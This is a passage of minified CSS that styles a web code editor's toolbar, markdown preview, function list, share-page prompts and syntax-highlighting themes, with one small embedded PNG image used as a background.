.orange h1 span{color:#F27642;border-color:#F27642;}.introduction .green{color:#56A238;border-left:1px solid #ddd;}.introduction .green h1 span{color:#56A238;border-color:#56A238;}div.tools{height:28px;z-index:999;border-bottom:1px solid #ddd;overflow:hidden;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;min-width:560px;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}div.tools .disable_mask{width:100%;height:33px;margin-left:-10px;background:#fff;position:absolute;opacity:0.4;filter:alpha(opacity=40);z-index:10;margin-top:-4px;}div.tools .left{float:left;margin:0 0 0 5px;}div.tools .right{float:right;margin:0 5px 0 0;}div.tools a{font-size:1.25em;font-weight:800;float:left;color:#555;font-weight:400;text-decoration:none;padding:0px 9px;line-height:29px;height:29px;}div.tools a .font-icon{font-size:14px;color:#888;}div.tools a .icon-caret-down{padding-left:5px;font-size:1em;color:ccc;}div.tools a:hover{background:#eee;}div.tools a.select,div.tools a.select:hover,div.tools a:active{background:#63acff;color:#fff;}div.tools a.select i.font-icon,div.tools a.select:hover i.font-icon,div.tools a:active i.font-icon{color:#fff;}div.tools .right .btn{padding:1px 7px;margin-right:-1px;height:20px;background:#eee;margin-top:2px;float:right;line-height:20px;}div.tools .line{border-left:1px solid #ccc;margin:5px 4px;float:left;height:16px;}ul.dropbox{color:#666;font-size:1em;position:absolute;top:27px;z-index:1000;margin:0px;}ul.dropbox li{list-style:none;padding:2px 0 2px 10px;line-height:20px;cursor:pointer;}ul.dropbox .lihover,ul.dropbox li.this{background:#63acff;color:#fff;}#fontsize{display:none;left:166px;width:100px;min-width:100px;}#codetheme{display:none;left:173px;}body div#ace_settingsmenu,body div#kbshortcutmenu{background-color:#000;opacity:0.75;filter:alpha(opacity=75);color:#FFF;box-shadow:-5px 4px 5px rgba(0,0,0,0.2);-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.edit_content .resize{position:absolute;background:#000;cursor:col-resize;margin-left:-5px;background-color:#f6f6f6;background-color:rgba(0,0,0,0.01);background:url("../../../images/common/resize.png") 0px 50% no-repeat;height:100%;width:10px;left:100%;z-index:100;}.edit_content .resize:hover{background-color:#eee;background-color:rgba(0,0,0,0.1);}.edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(0,0,0,0.2);}.edit_content.markdown_full .ace_editor{width:100% !important;}.edit_content.markdown_full .resize{display:none;}.edit_content.markdown_full .edit_right_frame{width:0 !important;}.edit_right_frame{position:fixed;top:59px;right:0px;width:40%;bottom:0;background:#fff;border-left:1px solid #ddd;z-index:99;overflow:visible;}.edit_right_frame .mask_view{z-index:9999;opacity:0.05;filter:alpha(opacity=5);}.edit_right_frame .right_main{position:absolute;width:100%;height:100%;overflow:auto;}.edit_right_frame .preview_frame{position:absolute;top:0px;right:0;bottom:0;width:100%;background:#fff;}.edit_right_frame .preview_markdown_tool,.edit_right_frame .function_list_tool,.edit_right_frame .preview_url_tool{width:100%;height:25px;border-bottom:1px solid #ddd;}.edit_right_frame .preview_markdown_tool .box,.edit_right_frame .function_list_tool .box,.edit_right_frame .preview_url_tool .box{width:105px;height:25px;position:absolute;top:0px;right:0px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a,.edit_right_frame .function_list_tool .box a,.edit_right_frame .preview_url_tool .box a{font-weight:800;text-decoration:none;border:1px solid rgba(200,200,200,0.01);display:inline-block;margin-top:1px;margin-left:2px;font-size:1.25em;position:relative;padding:0px 5px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a .font-icon,.edit_right_frame .function_list_tool .box a .font-icon,.edit_right_frame .preview_url_tool .box a .font-icon{color:#999;}.edit_right_frame .preview_markdown_tool .box a:hover,.edit_right_frame .function_list_tool .box a:hover,.edit_right_frame .preview_url_tool .box a:hover{border:1px solid #ccc;box-shadow:0 0 20px rgba(0,0,0,0.2) inset;}.edit_right_frame .preview_url_frame .preview_frame_content{position:absolute;right:0px;left:0px;bottom:0px;overflow:auto;top:25px;background:#fff;}.edit_right_frame .preview_url_frame .input_content{position:absolute;height:27px;right:100px;left:0px;}.edit_right_frame .preview_url_frame .input_content input{height:23px;border:none;border-right:1px solid #ddd;width:100%;padding-right:10px;text-shadow:1px 1px 3px #CCE;outline:none;color:#888;font-size:1.15em;box-shadow:#ddd 0px 0px 30px inset;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.edit_right_frame .preview_url_frame .input_content input:focus{box-shadow:#bbb 0px 0px 30px inset;}.edit_right_frame .preview_url_frame .box{border-left:1px solid #eee;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool{border:none;height:inherit;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box{position:fixed;bottom:0.1px;-webkit-transform:translateZ(0);z-index:999;top:70px;right:25px;background:rgba(200,200,200,0.2);opacity:0.6;filter:alpha(opacity=60);width:35px;height:140px;border:none;border-radius:0;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box .content{position:absolute;width:35px;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a{margin:0;padding:0;display:block;text-align:center;height:35px;border:none;line-height:35px;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a .font-icon{color:#444;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover{border:none;background:#bbb;color:#000;box-shadow:none;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover .font-icon{color:#222;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar{position:fixed;bottom:0.1px;z-index:999;-webkit-transform:translateZ(0);height:29px;margin-top:5px;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;left:420px;width:360px;top:-6px;border-left:1px solid #ddd;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .content{position:absolute;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools{width:26px;height:100%;display:inline-block;text-decoration:none;text-align:center;margin:0;line-height:30px;float:left;padding:0;color:#666;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{width:10px;color:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split:hover{background:none;}.edit_right_frame .preview_markdown_frame .markdown_preview{padding:10px 35px 100px 35px;}.edit_right_frame .preview_markdown_frame .markdown_help{width:650px;background:#fff;height:80%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_help h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:20px;}.edit_right_frame .preview_markdown_frame .markdown_help .content{height:100%;overflow:auto;margin:10px;padding-bottom:20px;margin-right:0;}.edit_right_frame .preview_markdown_frame .markdown_help p{margin:0;}.edit_right_frame .preview_markdown_frame .markdown_help h5{font-weight:800;}.edit_right_frame .preview_markdown_frame .markdown_help pre{border-radius:4px;background:#eee;color:#777;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-size:12px;}.edit_right_frame .preview_markdown_frame .markdown_help .col-md-4{width:35%;padding-bottom:70px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box{width:300px;background:#fff;height:60%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_menu_box h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:22px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .content{height:100%;overflow:auto;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu ul{padding:10px 10px 80px 10px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li{font-size:1em;list-style:none;text-overflow:ellipsis;white-space:nowrap;line-height:1.0em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a{display:block;text-decoration:none;padding:5px 6px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a:hover{background:#def;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h2{margin-left:2em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h3{margin-left:3.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h4{margin-left:5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h5{margin-left:6.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h6{margin-left:8em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .tools_markdown_more{position:absolute;top:20px;right:10px;}.edit_right_frame .preview_markdown_frame .markdown_setting{width:160px;height:auto;background:#fff;border:1px solid #ddd;z-index:10;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:175px;right:60px;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_setting ul{padding:0;margin:10px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li{width:100%;height:25px;list-style:none;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li.line{height:1px;background:#ddd;margin:5px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a,.edit_right_frame .preview_markdown_frame .markdown_setting ul a:visited{display:block;line-height:25px;text-decoration:none;padding:0 0 0 20px;color:#444;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a i{padding-right:5px;color:#888;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover{background:#63acff;color:#fff;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover i{color:#fff;}.edit_right_frame .function_list .function_list_tool{height:100px;width:100%;}.edit_right_frame .function_search{position:absolute;top:29px;left:0;height:25px;right:5px;}.edit_right_frame .function_search input{padding:4px 2%;color:#222;margin:0 3%;width:90%;border-radius:3px;}.edit_right_frame .function_search .search_reset{position:absolute;top:5px;right:5%;font-size:1.25em;color:#aaa;display:block;cursor:pointer;}.edit_right_frame .function_search .search_reset:hover{color:#888;}.edit_right_frame .frame_right .function_list_parent{top:57px;}.edit_right_frame .function_list_box .cell b{color:#378eef;}.edit_right_frame .function_list_box .row_select .cell b{color:#ff9;}.edit_right_frame .function_list_tool{border:none;}.edit_right_frame .function_list_tool .box{width:100%;right:0px;overflow:hidden;background:#fff;}.edit_right_frame .function_list_tool .box span{display:block;padding:1px 10px;float:left;line-height:27px;}.edit_right_frame .function_list_tool .box a{display:block;float:right;margin-right:5px;}.edit_right_frame .function_list_parent{position:absolute;top:55px;right:0;bottom:15px;width:100%;background:#fff;}.edit_right_frame .function_list_box{padding:5px;-webkit-text-size-adjust:none;overflow:auto;margin-right:2px;height:100%;}.edit_right_frame .function_list_box .row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .cell_null{padding:10px 5px;color:#999;text-align:center;}.edit_right_frame .function_list_box .list_row{padding:2px 5px;cursor:default;font-family:Tahoma, Arial;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.edit_right_frame .function_list_box .list_row.row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .list_row.row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .list_row .icon{font-family:FontAwesome;font-style:normal;width:20px;display:inline-block;text-decoration:inherit;font-size:10px;-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8);}.edit_right_frame .function_list_box .list_row span{cursor:default;}.edit_right_frame .function_list_box .list_row.mark .icon{color:#666;}.edit_right_frame .function_list_box .list_row.mark .icon:before{content:"\f005";}.edit_right_frame .function_list_box .list_row.mark,.edit_right_frame .function_list_box .list_row.class{background:#eee;font-weight:800;border-radius:3px;}.edit_right_frame .function_list_box .list_row.mark.row_select,.edit_right_frame .function_list_box .list_row.class.row_select{color:#fff;background:#63acff;}.edit_right_frame .function_list_box .list_row.row_select .icon{color:#fff !important;}.edit_right_frame .function_list_box .list_row.class .icon{color:#888;}.edit_right_frame .function_list_box .list_row.class .icon:before{content:"\f0c9";}.edit_right_frame .function_list_box .list_row.function .icon{color:#378eef;}.edit_right_frame .function_list_box .list_row.function .icon:before{content:"\f111";}.edit_right_frame .function_list_box .list_row.function_define .icon{color:#98c878;}.edit_right_frame .function_list_box .list_row.function_value .icon{color:#ffb16d;}.edit_right_frame .function_list_box .list_row.function_var .icon{color:#008641;}.share_page_passowrd{margin:0 auto;width:220px;height:120p;margin-top:17%;border:1px solid #ddd;border-top:3px solid #666;padding:40px;border-radius:5px;background:#f6f6f6;}.share_page_passowrd b{font-size:20px;display:block;margin-bottom:20px;}.share_page_passowrd input{height:32px;display:inline-block;width:150px;padding:0px 5px;margin-right:10px;margin-bottom:10px;}.share_page_error{margin:0 auto;width:400px;margin-top:17%;border:1px solid #eee;padding:30px;border-radius:5px;background:#f6f6f6;font-size:1.25em;}.share_page_error b{font-size:25px;display:block;margin-bottom:20px;}.edit_content.markdown_full_page pre.ace_editor{width:100% !important;}.edit_content.markdown_full_page .resize{display:none;}.edit_content.markdown_full_page .edit_right_frame{top:-60px;left:-1px;right:0;width:100% !important;bottom:0;}.edit_content.markdown_full_page .edit_right_frame .right_main{width:100% !important;}.edit_content.markdown_full_page .edit_right_frame .display_markdown{width:100% !important;background:none;}.edit_content.markdown_full_page .edit_right_frame .markdown_preview{width:80%;padding:50px 0;}.edit_content.markdown_full_page .edit_right_frame i.icon-resize-full:before{content:"\f066";}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{width:80%;left:10%;border:none;border-bottom:1px solid #ddd;background:rgba(240,240,240,0.5);}.edit_content.markdown_full_page .edit_right_frame .preview_markdown_tool .toolbar{display:none;}.markdown_preview{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;text-align:justify;margin:auto;font-size:13px;line-height:1.6em;color:#555;}.markdown_preview article,.markdown_preview footer,.markdown_preview header,.markdown_preview nav{width:700px;margin:0 auto;}.markdown_preview article{margin-top:4em;margin-bottom:4em;min-height:400px;}.markdown_preview footer{margin-bottom:50px;}.markdown_preview video{margin:2em 0;border:1px solid #ddd;}.markdown_preview nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0;}.markdown_preview nav p{margin:0;}.markdown_preview details{margin:15px 0;}.markdown_preview summary{cursor:pointer;padding:4px;}.markdown_preview summary:focus{outline:none;box-shadow:0 0 3px #2196F3;}.markdown_preview .h1,.markdown_preview h1{font-size:2.2em;}.markdown_preview .h2,.markdown_preview h2{font-size:1.9em;}.markdown_preview .h3,.markdown_preview h3{font-size:1.6em;}.markdown_preview .h4,.markdown_preview h4{font-size:1.3em;}.markdown_preview .h5,.markdown_preview h5{font-size:1.2em;}.markdown_preview .h6,.markdown_preview h6{font-size:1.1em;}.markdown_preview .h1,.markdown_preview .h2,.markdown_preview .h3,.markdown_preview .h4,.markdown_preview .h5,.markdown_preview .h6,.markdown_preview h1,.markdown_preview h2,.markdown_preview h3,.markdown_preview h4,.markdown_preview h5,.markdown_preview h6{font-family:inherit;font-weight:500;color:#333;line-height:1.5em;padding:0;margin:1em 0 0.5em 0;}.markdown_preview .h1,.markdown_preview h1{letter-spacing:1px;}.markdown_preview .h2,.markdown_preview h2{border-bottom:1px solid #ddd;padding-bottom:0.15em;}.markdown_preview p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;word-wrap:break-word;}.markdown_preview blockquote{margin-left:1em;padding:10px 20px;margin:10px 0 20px 0;border-left:10px solid #ddd;background:#f6f6f6;}.markdown_preview code{padding:2px 4px;color:#c7254e;background-color:#f9f2f4;border-radius:4px;}.markdown_preview pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px;}.markdown_preview code,.markdown_preview kbd,.markdown_preview pre,.markdown_preview samp{font-family:Consolas, 'Liberation Mono', 'Ubuntu Mono', Menlo, Courier, sans-serif;}.markdown_preview pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display:block;}.markdown_preview a{color:#1980e6;text-decoration:none;}.markdown_preview a:hover{text-decoration:underline;}.markdown_preview a img{border:none;}.markdown_preview img{max-width:100%;}.markdown_preview h1 a,.markdown_preview h1 a:hover{text-decoration:none;}.markdown_preview hr{border:0 none;height:4px;margin:1.2em 0;background:rgba(0,0,0,0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;}@media screen and (min-width:900px){.markdown_preview body{ width:900px;}}.markdown_preview ul,.markdown_preview ol{padding:0.5em 0 0.5em 3em;}.markdown_preview table{border-collapse:collapse;border-spacing:0;margin-bottom:20px;}.markdown_preview table thead{background:#eee;}.markdown_preview table td,.markdown_preview table th{padding:.5em;border:1px solid #ddd;line-height:1.5;}.markdown_preview .markdown-latex{text-align:center;margin-bottom:1.5em;font-size:1.6em;color:#000;}.markdown_preview .latex-inline .katex-display{display:inline-block;font-size:0.8em;}.markdown_preview .markdown_menu ul{padding:0 10px 20px 20px;}.markdown_preview .markdown_menu li{font-size:14px;list-style:none;line-height:1.8em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.markdown_preview .markdown_menu_h2{padding-left:2em;}.markdown_preview .markdown_menu_h3{padding-left:4em;}.markdown_preview .markdown_menu_h4{padding-left:6em;}.markdown_preview .markdown_menu_h5{padding-left:8em;}.markdown_preview .markdown_menu_h6{padding-left:10em;}.markdown_preview div .hljs{color:#666;}.markdown_preview .hljs-comment,.markdown_preview .hljs-quote{color:#8e908c;}.markdown_preview .hljs-variable,.markdown_preview .hljs-template-variable,.markdown_preview .hljs-tag,.markdown_preview .hljs-name,.markdown_preview .hljs-selector-id,.markdown_preview .hljs-selector-class,.markdown_preview .hljs-regexp,.markdown_preview .hljs-deletion{color:#c82829;}.markdown_preview .hljs-number,.markdown_preview .hljs-built_in,.markdown_preview .hljs-builtin-name,.markdown_preview .hljs-literal,.markdown_preview .hljs-type,.markdown_preview .hljs-params,.markdown_preview .hljs-meta,.markdown_preview .hljs-link{color:#f5871f;}.markdown_preview .hljs-attribute{color:#eab700;}.markdown_preview .hljs-string,.markdown_preview .hljs-symbol,.markdown_preview .hljs-bullet,.markdown_preview .hljs-addition{color:#718c00;}.markdown_preview .hljs-title,.markdown_preview .hljs-section{color:#4271ae;}.markdown_preview .hljs-keyword,.markdown_preview .hljs-selector-tag{color:#8959a8;}.markdown_preview .hljs{display:block;overflow-x:auto;color:#4d4d4c;padding:0.5em;}.markdown_preview .hljs-emphasis{font-style:italic;}.markdown_preview .hljs-strong{font-weight:bold;}.code_theme_black .markdown_preview{background:#333;color:#bbb;}.code_theme_black .markdown_preview blockquote{border-color:#555;background:#444;}.code_theme_black .markdown_preview pre,.code_theme_black .markdown_preview code,.code_theme_black .markdown_preview pre code{color:#777;border-color:#444;background:#444;}.code_theme_black .markdown_preview code{color:#C5AC18;background:#555;background:rgba(255,255,255,0.15);}.code_theme_black .markdown_preview a{color:#FFA500;}.code_theme_black .markdown_preview hr{border-bottom:1px solid #444;background-image:none;}.code_theme_black .markdown_preview .h1,.code_theme_black .markdown_preview .h2,.code_theme_black .markdown_preview .h3,.code_theme_black .markdown_preview .h4,.code_theme_black .markdown_preview .h5,.code_theme_black .markdown_preview .h6,.code_theme_black .markdown_preview h1,.code_theme_black .markdown_preview h2,.code_theme_black .markdown_preview h3,.code_theme_black .markdown_preview h4,.code_theme_black .markdown_preview h5,.code_theme_black .markdown_preview h6{color:#fff;}.code_theme_black .markdown_preview table thead{background:#3e3e3e;}.code_theme_black .markdown_preview table td,.code_theme_black .markdown_preview table th{border-color:#444;}.code_theme_black .markdown_preview .markdown-latex{color:#fff;}.code_theme_black .markdown_preview div .hljs{display:block;overflow-x:auto;padding:.5em;background:#23241f;}.code_theme_black .markdown_preview .hljs,.code_theme_black .markdown_preview .hljs-subst,.code_theme_black .markdown_preview .hljs-tag{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-emphasis,.code_theme_black .markdown_preview .hljs-strong{color:#a8a8a2;}.code_theme_black .markdown_preview .hljs-bullet,.code_theme_black .markdown_preview .hljs-link,.code_theme_black .markdown_preview .hljs-literal,.code_theme_black .markdown_preview .hljs-number,.code_theme_black .markdown_preview .hljs-quote,.code_theme_black .markdown_preview .hljs-regexp{color:#ae81ff;}.code_theme_black .markdown_preview .hljs-code,.code_theme_black .markdown_preview .hljs-section,.code_theme_black .markdown_preview .hljs-selector-class,.code_theme_black .markdown_preview .hljs-title{color:#a6e22e;}.code_theme_black .markdown_preview .hljs-strong{font-weight:700;}.code_theme_black .markdown_preview .hljs-emphasis{font-style:italic;}.code_theme_black .markdown_preview .hljs-attr,.code_theme_black .markdown_preview .hljs-keyword,.code_theme_black .markdown_preview .hljs-name,.code_theme_black .markdown_preview .hljs-selector-tag{color:#f92672;}.code_theme_black .markdown_preview .hljs-attribute,.code_theme_black .markdown_preview .hljs-symbol{color:#66d9ef;}.code_theme_black .markdown_preview .hljs-class .hljs-title,.code_theme_black .markdown_preview .hljs-params{color:#f8f8f2;}.code_theme_black .markdown_preview .hljs-addition,.code_theme_black .markdown_preview .hljs-built_in,.code_theme_black .markdown_preview .hljs-builtin-name,.code_theme_black .markdown_preview .hljs-selector-attr,.code_theme_black .markdown_preview .hljs-selector-id,.code_theme_black .markdown_preview .hljs-selector-pseudo,.code_theme_black .markdown_preview .hljs-string,.code_theme_black .markdown_preview .hljs-template-variable,.code_theme_black .markdown_preview .hljs-type,.code_theme_black .markdown_preview .hljs-variable{color:#e6db74;}.code_theme_black .markdown_preview .hljs-comment,.code_theme_black .markdown_preview .hljs-deletion,.code_theme_black .markdown_preview .hljs-meta{color:#75715e;}.ace_optionsMenuEntry{height:22px;}.ace_optionsMenuCommand{float:left;width:210px;}.context-menu-list .context-menu-item.line_top{border-top:1px solid #eee !important;}body .ace_editor{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;margin:0;padding:0;position:absolute;height:100%;left:0px;right:0%;background:#fff;}body .ace_editor .ace_scrollbar{right:3px;}body .ace_editor .ace_hidden-cursors .ace_cursor{opacity:0.7;}body .ace_editor.ace-tomorrow .ace_cursor{color:#3c3434;}body .ace_editor.ace_multiselect .ace_cursor{border-left-width:2px;}body .ace_editor .ace_indent-guide{height:103%;display:inline-block;}body .ace_editor .ace_line{line-height:1.3em;line-height:inherit \9;}body .ace_editor span.ace_heading{font-weight:800;}body .ace_editor.ace_autocomplete{padding:0px;box-shadow:0px 2px 10px rgba(0,0,0,0.3);margin-left:5px;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px 0 rgba(0,0,0,0), inset -1px -1px 0 rgba(0,0,0,0);font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;background:#fff !important;}body .ace_editor.ace_autocomplete .ace_scrollbar-v{padding:0px;right:0px;}body .ace_editor.ace_autocomplete .ace_line{padding-left:6px;line-height:1.5em;}body .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line{background:#63acff !important;border-radius:0px;z-index:10;}body .ace_editor.ace_autocomplete .ace_line-hover{border:none;margin-top:0;background:#e6e6e6;border-radius:0px;}body .ace_editor.ace_autocomplete .ace_selected{color:#fff;}body .ace_editor.ace_autocomplete .ace_completion-highlight{color:#2882be;}body .ace_editor.ace_autocomplete .ace_rightAlignedText{color:#aaa;}body .ace_editor.ace_autocomplete .ace_selected .ace_completion-highlight{color:#cfe8ff !important;}body .ace_editor.ace_autocomplete .ace_selected .ace_rightAlignedText{color:#fff;z-index:10;opacity:0.5;filter:alpha(opacity=50);font-size:0.9em;}body .ace_editor .ace_content .ace_marker-layer .ace_selected-word{background:rgba(210,235,255,0.11);border:1px solid #65b5f5;z-index:10;}body .ace_editor .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FF9800;background:#FFC107;}body .ace_editor .ace_content .ace_text-layer .ace_keyword{font-weight:600;font-weight:normal \9\0;}body .ace_editor.ace-github{color:#444;}body .ace_editor.ace-kuroir{background:#f9f9f9;}body .ace_editor.ace-solarized-light{background:#FDF6E3;}body .ace_editor.ace-ambiance{background:#202020;}body .ace_editor.ace-monokai{background:#272822;}body .ace_editor.ace-idle-fing{background:#333;}body .ace_editor.ace-pastel-on-dark{background:#2C2828;}body .ace_editor.ace-solarized-dark{background:#002B36;}body .ace_editor.ace-twilight{background:#141414;}body .ace_editor.ace-idle-fingers{background:#333;}body .ace_editor.ace-tomorrow-night-blue{background:#002451;}body .ace_editor.ace-tomorrow-night-eighties{background:#2d2d2d;}body .ace_editor.ace-eclipse .ace_gutter{border-right:3px solid #6ce26c !important;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_selected-word{background:rgba(255,255,255,0.1);border:1px solid #4179A7;z-index:10;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FFEB3B;background:#6b6154;}div.ace_tooltip{font-size:1em;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;border:1px solid #e7de81;background-color:#f9f2ad;padding-bottom:6px;color:#333;background-image:none;filter:none;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px transparent, inset -1px -1px transparent;}div.ace_tooltip hr{border:none;border-bottom:1px solid #e7de81;margin:6px 0;}.search_content .ace_search{font-size:13px;border-radius:0px 0px 0px 5px;border-right:0 